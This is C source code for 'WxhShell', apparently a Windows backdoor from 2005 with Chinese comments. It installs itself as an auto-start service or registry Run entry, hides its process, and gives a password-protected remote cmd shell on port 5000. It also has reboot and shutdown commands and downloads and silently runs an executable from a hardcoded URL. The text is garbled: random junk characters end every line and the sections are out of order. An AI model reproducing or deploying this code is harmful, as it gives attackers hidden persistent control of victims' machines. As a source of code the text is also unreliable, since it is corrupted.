    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0iI|eE o  
    if(Boot(SHUTDOWN)) tSVU,m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !QlCt>{  
    else { 9Ecc~'f  
    closesocket(wsh); pmc)$3u  
    ExitThread(0); Go)}%[@w  
    } K1CgM1v  
    break; w0PAtu  
    } R5N~%Dg)3  
  // 获取shell ^Eif~v  
  case 's': { dR!x)oO=  
    CmdShell(wsh); SZD7"m4  
    closesocket(wsh); B|ctauJ  
    ExitThread(0); U etI 4`  
    break; )nlFyWXh.  
  } {[~dI ~  
  // 退出 #ON^6f2  
  case 'x': { VQ;'SY:`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !>\g[C  
    CloseIt(wsh); Q9k;PJ`@  
    break; ^VsE2CX  
    } WDJ rN  
  // 离开 /BwG\GhM  
  case 'q': { 1h3`y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); lUIh0%O  
    closesocket(wsh); sspGB>h8l  
    WSACleanup();  y7vA[us  
    exit(1); 4m!w<c0NL  
    break; } 8[  
        } /^$n&gI  
  } VE)) `?  
  } v;#0h7qd  
bFVY&  
  // 提示信息 qRL45[ K  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ac'pu,v  
} -oi@1g @  
  } ,z~"Mst  
NAX`y2z  
  return; %wco)2  
} \$!D^%~;  
@$1jp4c   
// shell模块句柄 G^:?)WRG  
int CmdShell(SOCKET sock) afE8Kqa:H  
{ 7LsVlT[  
STARTUPINFO si; "dHo6CT,y_  
ZeroMemory(&si,sizeof(si)); ]F3fO5Z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %awr3h>$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5[]Yxl  
PROCESS_INFORMATION ProcessInfo; 5!BW!-q  
char cmdline[]="cmd"; Fg0!2MKq*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d^8n  
  return 0; NInZ~4:  
} :xk+`` T  
W9;9\k  
// 自身启动模式 X/h|;C* 9  
int StartFromService(void) MS\?+8|SV(  
{ Ec&_&  
typedef struct Z+_xX  
{ _6 @GT  
  DWORD ExitStatus; 0nZQ" {x  
  DWORD PebBaseAddress; [U:P&)  
  DWORD AffinityMask; Y8c,+D,Ww  
  DWORD BasePriority; [8&+4 <  
  ULONG UniqueProcessId; Y*sw;2Z;a  
  ULONG InheritedFromUniqueProcessId; u7  
}   PROCESS_BASIC_INFORMATION; :Sn4Pg `Q  
Q]<6voyy  
PROCNTQSIP NtQueryInformationProcess; @U:PXCvh  
 |CAMdU  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !Y 9V1oVf"  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _<'?s>(U'  
T1%}H3  
  HANDLE             hProcess; xT-`dS0u  
  PROCESS_BASIC_INFORMATION pbi; OHt^e7\  
'n}]  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6?a z  
  if(NULL == hInst ) return 0; .yHi"ss3  
=t %;mi,M  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ii!{\p!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3R%yKa#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i:Gyi([C  
~=9S AJr]  
  if (!NtQueryInformationProcess) return 0; Qe_C^ (P  
rONz*ly|i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); WLiFD.  
  if(!hProcess) return 0; ^fE8|/]nG9  
IY|`$sHb  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `VF_rC[?  
yb,$UT"]  
  CloseHandle(hProcess); i(kx'ua?  
<o/lK\>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Tj}%G  
if(hProcess==NULL) return 0; FiSx"o  
&?5me:aU  
HMODULE hMod; Mkr &30il[  
char procName[255]; +No` 89Y  
unsigned long cbNeeded; {^k7}`7,  
o#>Mf464I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); l| y.6v  
DVf}='en8  
  CloseHandle(hProcess); 5n1`$T.WG  
m'M5O@?  
if(strstr(procName,"services")) return 1; // 以服务启动 VQ8Fs/Zt!  
xVRxKM5 {  
  return 0; // 注册表启动 *P|~v Cnr  
} v]rbm}uU9  
6}~k4;'}A  
// 主模块 y9k'jEZ"oh  
int StartWxhshell(LPSTR lpCmdLine) 5Pf)&iG  
{ % bKy  
  SOCKET wsl; gLg.mV1<  
BOOL val=TRUE; <$ qT(3w<y  
  int port=0; #fk1'c2  
  struct sockaddr_in door;  ^Vf@J  
a^_W}gzzd  
  if(wscfg.ws_autoins) Install(); 0|g@; Pc  
Yj'"Wg  
port=atoi(lpCmdLine); (EjlnG}5l  
Z?'?|vM  
if(port<=0) port=wscfg.ws_port; CR;E*I${  
nw#AKtd@x  
  WSADATA data; Nw(hN+_u  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Qg0%r bE  
(" +clb`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =uEpeL~d;+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2vhP'?;K  
  door.sin_family = AF_INET; HD3WsIim*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Z!*6;[]SfG  
  door.sin_port = htons(port); H[}lzL)  
ouO9%)zv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { zF|c3ap  
closesocket(wsl); )2#q i/  
return 1; [XubzZ9  
} ` TH\0/eE  
R / ND f`  
  if(listen(wsl,2) == INVALID_SOCKET) { A~X\ dcn  
closesocket(wsl); =yoR>llbBC  
return 1; a8-V`  
}  Frz  
  Wxhshell(wsl); <H{K&,Z(ZM  
  WSACleanup(); lnK  
7{7Y[F0  
return 0; 9EY`j,{4  
3177R>0  
} j-VwY/X  
UZ "!lpg  
// 以NT服务方式启动 sbhzER  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [rW];H8:~  
{ T8%!l40v  
DWORD   status = 0; EhW"s%Q  
  DWORD   specificError = 0xfffffff; Lf%=vd  
qM6hE.J   
  serviceStatus.dwServiceType     = SERVICE_WIN32; HXC\``E  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [lVfhXc&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TY5R=jh=  
  serviceStatus.dwWin32ExitCode     = 0; <P/odpmc  
  serviceStatus.dwServiceSpecificExitCode = 0; W*DK pJy  
  serviceStatus.dwCheckPoint       = 0; _1mpsY<k  
  serviceStatus.dwWaitHint       = 0; o^Lq8u;i*  
E " >`  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); oE6`]^^  
  if (hServiceStatusHandle==0) return; [9V}>kS)  
B#+n$5#FK  
status = GetLastError(); +-9-%O.(;  
  if (status!=NO_ERROR) D u T6Od/f  
{ sv!v`zh  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gsUF\4A(J  
    serviceStatus.dwCheckPoint       = 0; !YI<A\P  
    serviceStatus.dwWaitHint       = 0; o!U(=:*b  
    serviceStatus.dwWin32ExitCode     = status; UFu0{rY_  
    serviceStatus.dwServiceSpecificExitCode = specificError; r=SC bv  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); q2'}S A/  
    return; FP}I+Ys  
  } o|q5eUh=EY  
@vXXf/  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ew~?&=  
  serviceStatus.dwCheckPoint       = 0; b)M- q{  
  serviceStatus.dwWaitHint       = 0; B}.:7,/0  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nK)1.KVN  
} *|y$z+g/  
WRwx[[e6z  
// 处理NT服务事件,比如:启动、停止 87W!R<G  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uqU&k@  
{ yla- X|>  
switch(fdwControl) t_*x.{x-  
{ {QaO\{J=  
case SERVICE_CONTROL_STOP: e+F $fQt>  
  serviceStatus.dwWin32ExitCode = 0; [\Nmm4  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4]$OO'  
  serviceStatus.dwCheckPoint   = 0; K=E+QvSG  
  serviceStatus.dwWaitHint     = 0; H9i7y,[*  
  { 5j$&Zgx51  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r!O[|h  
  } !M`.(sO]  
  return; nB5\ocJ  
case SERVICE_CONTROL_PAUSE: 5S_fvW;  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]$ Nhy8-  
  break; w!v^6[!  
case SERVICE_CONTROL_CONTINUE: NZa 7[}H  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `(`-S md  
  break; JbJ!,86  
case SERVICE_CONTROL_INTERROGATE: cruBJZr*  
  break; x X[WX#'f  
}; XjP &  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /#SfgcDt  
} ]7>#YKH.  
[]aw;\7}Y  
// 标准应用程序主函数 %<+uJ'pj  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3$q#^UvD  
{ GDe,n  
UKV<Ye|  
// 获取操作系统版本 @"A 5yD5  
OsIsNt=GetOsVer(); WT")tjVKA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); _| cSXZ|  
4o;;'P   
  // 从命令行安装 k;`1Ia  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8 5)C7tJ-g  
6<>1,wbq  
  // 下载执行文件 }{j@q~w>$  
if(wscfg.ws_downexe) { Mis B&Ok`k  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i$$h6P#  
  WinExec(wscfg.ws_filenam,SW_HIDE); Z 4i5,f  
} 5Phsh  
i2rSP$j  
if(!OsIsNt) { [Gv8Fn/aG  
// 如果时win9x,隐藏进程并且设置为注册表启动 Y\WVkd(+G  
HideProc(); _-TW-{7bh  
StartWxhshell(lpCmdLine); Z2`M8xEiH  
} * ?~"Jw  
else Yy 0" G  
  if(StartFromService()) uDkX{<_Xe  
  // 以服务方式启动 r&B0 -7r  
  StartServiceCtrlDispatcher(DispatchTable); 6}Tftw$0z  
else q~5zv4NX  
  // 普通方式启动 bZ:+q1 D  
  StartWxhshell(lpCmdLine); %4F\#" A  
\`["IkSg7  
return 0; FG{,l=Z0  
} xV`l6QS  
s8 MQ:eAP  
` - P1Y  
a#i|)[  
=========================================== hGw}o,g  
.9=4Af  
`q* p-Ju'  
~x/ka43  
@#hvQ6u  
.w@B )f*  
" +Ek1~i.  
RSbq<f>BFo  
#include <stdio.h> |<,0*2  
#include <string.h> ti6X=@ P:  
#include <windows.h> koS?UYF`  
#include <winsock2.h> )u28:+8  
#include <winsvc.h> &4}=@'G@  
#include <urlmon.h> ot2zY dWAz  
42tZBz&  
#pragma comment (lib, "Ws2_32.lib") ?PTXgIC  
#pragma comment (lib, "urlmon.lib") ILl~f\xG)  
! l0"nPM=  
#define MAX_USER   100 // 最大客户端连接数 nK+ke)'Zv=  
#define BUF_SOCK   200 // sock buffer 4e eh+T  
#define KEY_BUFF   255 // 输入 buffer RXcN<Y&  
!G[%; d  
#define REBOOT     0   // 重启 ~/)]`w  
#define SHUTDOWN   1   // 关机 dI%ho<zm]  
wd<{%qK`{  
#define DEF_PORT   5000 // 监听端口 g[t paQ  
+ jeOZ  
#define REG_LEN     16   // 注册表键长度 E@xrn+L>-  
#define SVC_LEN     80   // NT服务名长度 ?E+f<jol  
u kZK*Y9P  
// 从dll定义API ]Q0bL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); u^|cG{i5"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 4vN:Kj  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4ytdcb   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <fDT/  
^0cbN[~/ns  
// wxhshell配置信息 lVq5>:'}^;  
struct WSCFG { 9kF0H a}J  
  int ws_port;         // 监听端口 l4U*Lv>   
  char ws_passstr[REG_LEN]; // 口令 Sew*0S(  
  int ws_autoins;       // 安装标记, 1=yes 0=no GH-Fqz  
  char ws_regname[REG_LEN]; // 注册表键名 &g5PPQ18  
  char ws_svcname[REG_LEN]; // 服务名 ! }e75=x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 9_jiUZFje  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 NziCN*6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 3imsIBr  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }0]uA|lH*  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" [)jNy_4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JrLh=0i9  
|te=DCO  
}; [a!AK kj  
6("bdx;!  
// default Wxhshell configuration @MTv4eC}e  
struct WSCFG wscfg={DEF_PORT, @~|;/OY>"  
    "xuhuanlingzhe", X])iQyN  
    1, Nb !i_@m%s  
    "Wxhshell", <bo)p6S&  
    "Wxhshell", v6=%KXSF  
            "WxhShell Service", PMbZv%.,-  
    "Wrsky Windows CmdShell Service", oOvQA W8`  
    "Please Input Your Password: ", ~+t@7A=  
  1, u*I'c2m  
  "http://www.wrsky.com/wxhshell.exe", !1i-"rR  
  "Wxhshell.exe" R-NM ~gp  
    }; &k_*Y- l7]  
$.d,>F6  
// 消息定义模块 8UgogNR\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; "]q xjs^3?  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ilJ`_QN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'm6bfS^T  
char *msg_ws_ext="\n\rExit."; Lp(`m=;O  
char *msg_ws_end="\n\rQuit."; nr -< mQ  
char *msg_ws_boot="\n\rReboot..."; BgT ^  
char *msg_ws_poff="\n\rShutdown..."; S#8)N`  
char *msg_ws_down="\n\rSave to "; TB.>?*<n]  
- QY<o|  
char *msg_ws_err="\n\rErr!"; W]7<PL*u  
char *msg_ws_ok="\n\rOK!"; = <Sn&uL  
h6O'"  
char ExeFile[MAX_PATH]; !a:e=b7g  
int nUser = 0; 0KgP'oWvY  
HANDLE handles[MAX_USER]; V?G%-+^  
int OsIsNt; T!y 9v5  
d^6-P  R_  
SERVICE_STATUS       serviceStatus; H,GjPIG  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9d/- +j'  
\a|~#N3?  
// 函数声明 lGR0-Gh2  
int Install(void); EZI#CLT[  
int Uninstall(void); $<2d|;7r  
int DownloadFile(char *sURL, SOCKET wsh); KU(BY}/ ^  
int Boot(int flag); 2 G*uv+=  
void HideProc(void); k]r4b`x`  
int GetOsVer(void); C^4,L \E  
int Wxhshell(SOCKET wsl);  cf,6";8  
void TalkWithClient(void *cs); l P=I0A-  
int CmdShell(SOCKET sock); e<1Ewml(]  
int StartFromService(void); ?G',Qtz<K  
int StartWxhshell(LPSTR lpCmdLine); GeY!f/yQ<  
P%l?C?L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GfK%UZ$C  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ~>9G\/u j  
bK0(c1*a[e  
// 数据结构和表定义 9,_~qWw  
SERVICE_TABLE_ENTRY DispatchTable[] = Bi \fB-|  
{ IaSPwsvt'  
{wscfg.ws_svcname, NTServiceMain}, RDHK'PGA  
{NULL, NULL} H{5,  -x  
}; <2 [vR|Q*  
~? aFc)  
// 自我安装 A~nqSe  
int Install(void) P,)D0i  
{ _wb]tE ~g  
  char svExeFile[MAX_PATH]; BRY/[QRqZ  
  HKEY key; -o"b$[sf=Z  
  strcpy(svExeFile,ExeFile); WUz69o be  
juF=ZW%i  
// 如果是win9x系统,修改注册表设为自启动 *Us}E7/"'  
if(!OsIsNt) { +VW8{=$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,T zlW\?\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I|&DXF  
  RegCloseKey(key); T|BlFJ0"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -A<@Pg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7"aN7Q+EbI  
  RegCloseKey(key); &gS-.{w "  
  return 0; @#W4?L*D  
    } _)= e`9%  
  } mCg^Y)Q  
} 'bM=  
else { aLm~.@Q  
kBC$dW-  
// 如果是NT以上系统,安装为系统服务 lv!j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y(1?uVYW\d  
if (schSCManager!=0) &)tv4L&  
{ ,GVX1B?  
  SC_HANDLE schService = CreateService l%mp49<  
  ( >S}X)4  
  schSCManager, #Ox@[Z1I  
  wscfg.ws_svcname, Pb T2- F_  
  wscfg.ws_svcdisp, @o?Y[BR  
  SERVICE_ALL_ACCESS, 7.G"U  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ?b(wZ-/  
  SERVICE_AUTO_START, PbvA~gm  
  SERVICE_ERROR_NORMAL, fOSk > gK  
  svExeFile, ]C"?xy  
  NULL, 9"S iHp\)  
  NULL, o@360#njF  
  NULL, f!YlYk5  
  NULL, &P}t<;  
  NULL |+HJ>xA4I  
  ); Gq[5H(0/c  
  if (schService!=0) !'# D~   
  { sDg1nKw(  
  CloseServiceHandle(schService); 3p HI+a  
  CloseServiceHandle(schSCManager); 1@'I eywg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {#?|&n<  
  strcat(svExeFile,wscfg.ws_svcname); + (:Qf+:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (:E@kpK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [75?cQD  
  RegCloseKey(key); Yh!k uS#<  
  return 0; dB#c$1  
    } pO)EYla9  
  } i;]0>g4  
  CloseServiceHandle(schSCManager); MYVVI1A  
} *u|1Z%XO  
} PPG+~.7  
|n;);T(  
return 1; a;; Es  
} 9\Ff z&  
V73/q  
// 自我卸载 4*f+np  
int Uninstall(void) *mj=kJ7(  
{ 5-fASN.Lx  
  HKEY key; :!CnGKgt  
PY '^:0  
if(!OsIsNt) { 8,h!&9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 29Gel  
  RegDeleteValue(key,wscfg.ws_regname); n ei0LAD  
  RegCloseKey(key); g&w~eWpk  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G~&8/ s  
  RegDeleteValue(key,wscfg.ws_regname); 58HAl_8W  
  RegCloseKey(key); =IX-n$d`>  
  return 0; J{a9pr6  
  } =c,7uB  
} D{7^y>8_Y-  
} _(:$ :*@  
else { vc3r [mT  
& uwOyb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); VR"le&'z"  
if (schSCManager!=0) \X(*JNQ  
{ K@[Hej6d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T ?A3f]U  
  if (schService!=0) aYk: CYQ  
  { &|'yqzS3  
  if(DeleteService(schService)!=0) { l\N2C4NG  
  CloseServiceHandle(schService); E%8uQ2p(  
  CloseServiceHandle(schSCManager); qo \9,<  
  return 0; eG2'W  
  } s 8K.A~5 w  
  CloseServiceHandle(schService); F"M/gy  
  } jp4-w(  
  CloseServiceHandle(schSCManager); 54WX#/<Yik  
} ,S(Z\[x0  
} &k_LK  
7KUf,0D  
return 1; v \; /P  
} 3 .j/D^  
RRQv<x  
// 从指定url下载文件 JP( tf+  
int DownloadFile(char *sURL, SOCKET wsh) ;C1#[U1Uy  
{ T)q Uf H  
  HRESULT hr; ^gyI-S(;  
char seps[]= "/"; BaP'y8dVN  
char *token; tG9C(D`G  
char *file; &F7_0iA P(  
char myURL[MAX_PATH]; BL>~~  
char myFILE[MAX_PATH]; d+]=l+&  
QH7 GEj]  
strcpy(myURL,sURL); I} Q+{/?/  
  token=strtok(myURL,seps); %52x:qGa  
  while(token!=NULL) Cq<Lj  
  { &'Nzw2  
    file=token; T]/>c  
  token=strtok(NULL,seps); Ax=)J{4v  
  } }z9v*C  
&ZFHWI(P  
GetCurrentDirectory(MAX_PATH,myFILE); @}PX:*c  
strcat(myFILE, "\\"); eAP 8!  
strcat(myFILE, file); z"QtP[_m  
  send(wsh,myFILE,strlen(myFILE),0); PC255  
send(wsh,"...",3,0); c,)]!{c  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s7:_!Nd@8  
  if(hr==S_OK) y>h9:q|  
return 0; p NQ7uy  
else |Go$z3bx  
return 1; aTH$+f1?Q  
[%6)  
} pH3\X cn  
w03Ur4>T  
// 系统电源模块 WH7UJCQ  
int Boot(int flag) t3^`:T\  
{ q&6|uV])H  
  HANDLE hToken; R@Gll60  
  TOKEN_PRIVILEGES tkp; PX23M|$!  
v}AjW%rB  
  if(OsIsNt) { hc0$mit  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #E\6:UnT  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z9 #-  
    tkp.PrivilegeCount = 1; -U_,RMw~  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~g#/q~UE  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); - 3PLP$P  
if(flag==REBOOT) { ([rSYKpi  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <:nyRy}  
  return 0; HFyQ$pbBU  
} 1#AxFdm1  
else { _tje xS'  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .qYQ3G'V  
  return 0; #v~dhx=R  
} &dni6E4  
  } q;sZwp<  
  else { l:/x &=w  
if(flag==REBOOT) { cZoj|=3a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) grkA2%N  
  return 0; ]8$H'u(C  
} &AeNrtGu  
else { .YB/7-%M[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .rwW5"RPq  
  return 0; Nq9M$Nt]  
} 6r@>n_6LY  
} EASmB  
; 5[W*,7s  
return 1; ^liW*F"UY  
} L+@X]O W8  
P&: [pPG  
// win9x进程隐藏模块 =^{MyR7  
void HideProc(void) lS p"(&  
{ Fe: ~M?]  
F)imeu  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); { JDD"z  
  if ( hKernel != NULL ) H;tE=  
  { \K%M.>]vq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 1L7^g*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :Zob"*T  
    FreeLibrary(hKernel); 6<5:m:KE  
  } ln , 9v  
X+,0;% p  
return; v&]y zl  
} ,BGUIu6  
PVljb=8F  
// 获取操作系统版本 tW-[.Y -M,  
int GetOsVer(void) W|0))5a  
{ 2cGiE{  
  OSVERSIONINFO winfo; bNm]h.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >O~V#1 H  
  GetVersionEx(&winfo); Y2dml!QM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {%y|A{}c  
  return 1; $[7/~I>m  
  else >mEfd=p  
  return 0; w?N>3`Jnf  
} ,PJC FQMR  
)4:]gx#cr  
// 客户端句柄模块 +IjBeQ?  
int Wxhshell(SOCKET wsl) M ]O4  
{ gsa@ci  
  SOCKET wsh; G'dN<Nw6  
  struct sockaddr_in client; :mf&,?  
  DWORD myID; BxQ,T@  
\>n[x; $  
  while(nUser<MAX_USER) 3qH1\  
{ O1DUBRli!q  
  int nSize=sizeof(client); yxf #@Je"  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $bZ-b1{c C  
  if(wsh==INVALID_SOCKET) return 1; vo&h6'i>7  
E:A!tu$B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); N{@~(>ee^  
if(handles[nUser]==0) B/n~ $  
  closesocket(wsh); e0Gs|c+6  
else 7(^F@,,@  
  nUser++; {&B0kjf  
  } ?q2Yk/P  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BTG_c_ ?]e  
V+l7W  
  return 0; '(N(k@>{  
} mDD96y  
Zp<#( OIu  
// 关闭 socket Q0x?OL]A  
void CloseIt(SOCKET wsh) dIhfp7|  
{ xpwy%uo  
closesocket(wsh); 0,.|-OZ  
nUser--; &_hEM~{  
ExitThread(0);  +`ov1h  
} SK 5]7C2  
|m@>AbR5dk  
// 客户端请求句柄 +StsSZ  
void TalkWithClient(void *cs) 87!m l  
{ '^[+]  
w8J8III\~  
  SOCKET wsh=(SOCKET)cs; Zt=P 0  
  char pwd[SVC_LEN]; EdSUBoWF}  
  char cmd[KEY_BUFF]; zM<L_l&  
char chr[1]; +qT+iHa|n  
int i,j; 8$ #z>  
I,)\506  
  while (nUser < MAX_USER) { MLmaA3  
5a)$:oO!  
if(wscfg.ws_passstr) { NZ6:Zz M  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sdyNJh7Jr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u$(ei2f  
  //ZeroMemory(pwd,KEY_BUFF); ({!H ()  
      i=0; j?k|-0  
  while(i<SVC_LEN) { ~3f|-%Z  
gOah5*Lj  
  // 设置超时 Vx> Q  
  fd_set FdRead; Ip)u6We>I  
  struct timeval TimeOut; )/~o'M3  
  FD_ZERO(&FdRead); ]f U&?z#  
  FD_SET(wsh,&FdRead); H~>8q~o]  
  TimeOut.tv_sec=8; PCV#O63[  
  TimeOut.tv_usec=0; Q&^\YgkCf  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); DxpJP,wY3  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y3(I;~$!  
Tm7LaM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MEp{&#v|1  
  pwd=chr[0]; x7`+T 1IJ  
  if(chr[0]==0xd || chr[0]==0xa) { ;)P=WS:=  
  pwd=0; TqfL Sm|  
  break; Ck"db30.  
  } Km,o+9?1gF  
  i++; R osU~OK  
    } O/d]2<V  
suGd&eP|  
  // 如果是非法用户,关闭 socket T0)bnjm  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); )EKWsGNe/  
} .jtv Hr}U  
]+B.=mO_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); L%QRWhB  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &?Q^i">cZ  
6 v~nEw  
while(1) { "zCT S  
tLq]#9kL  
  ZeroMemory(cmd,KEY_BUFF); U[8F{LX  
ki/Cpfq40*  
      // 自动支持客户端 telnet标准   O|^J;fS:  
  j=0; >kmgYWG  
  while(j<KEY_BUFF) { vH1,As  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^Qn:#O9  
  cmd[j]=chr[0]; Y%- !%|  
  if(chr[0]==0xa || chr[0]==0xd) { )& Oxp&x  
  cmd[j]=0; `NEi/jB  
  break; IA[:-2_  
  } S $o1Q  
  j++; B'`25u_e<  
    } MV!d*\  
;FF+uK  
  // 下载文件 y;<suGl  
  if(strstr(cmd,"http://")) { #<Xq\yC51  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); [m 6+I9  
  if(DownloadFile(cmd,wsh)) ,R3TFVV!?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); m.! M#x2!  
  else Di4GaKa/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g`fMHU7  
  } ;BT7pyu%[  
  else { k.o8!aCm  
dC-~=}HR^  
    switch(cmd[0]) { KRcB_(  
  sK&kp=zu  
